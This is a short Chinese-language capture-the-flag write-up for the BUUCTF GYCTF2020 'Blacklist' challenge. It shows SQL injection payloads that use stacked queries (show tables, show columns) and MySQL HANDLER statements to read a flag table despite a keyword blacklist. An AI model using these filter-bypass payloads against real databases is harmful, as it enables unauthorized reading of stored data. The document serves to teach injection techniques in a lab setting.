BUUCTF[GYCTF2020]Blacklist

BUUCTF[GYCTF2020]Blacklist_第1张图片

sql注入题型,测试发现黑名单如下:

BUUCTF[GYCTF2020]Blacklist_第2张图片 

大小写,双写,编码均不可绕过。 

可用的还有,or and union show 

输入:1 or 1=1 无反应

输入:1' or '1' ='1 如下:

BUUCTF[GYCTF2020]Blacklist_第3张图片

字符型注入,由于show可用,所以我们想到堆叠注入:

1';show tables;

BUUCTF[GYCTF2020]Blacklist_第4张图片

查看字段名,

1';show columns from FlagHere;

BUUCTF[GYCTF2020]Blacklist_第5张图片 

过滤机制过于强大,所以我们使用handler

HANDLER...OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭。

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
打开FlagHere表,读取第一个,然后关闭会话。

BUUCTF[GYCTF2020]Blacklist_第6张图片 

思路:黑名单过滤,show可用,想到使用堆叠注入,知道flag在FlagHere表中之后,使用 handler 读取flag。

 

 

 

你可能感兴趣的:(CTF日记,sql,安全漏洞)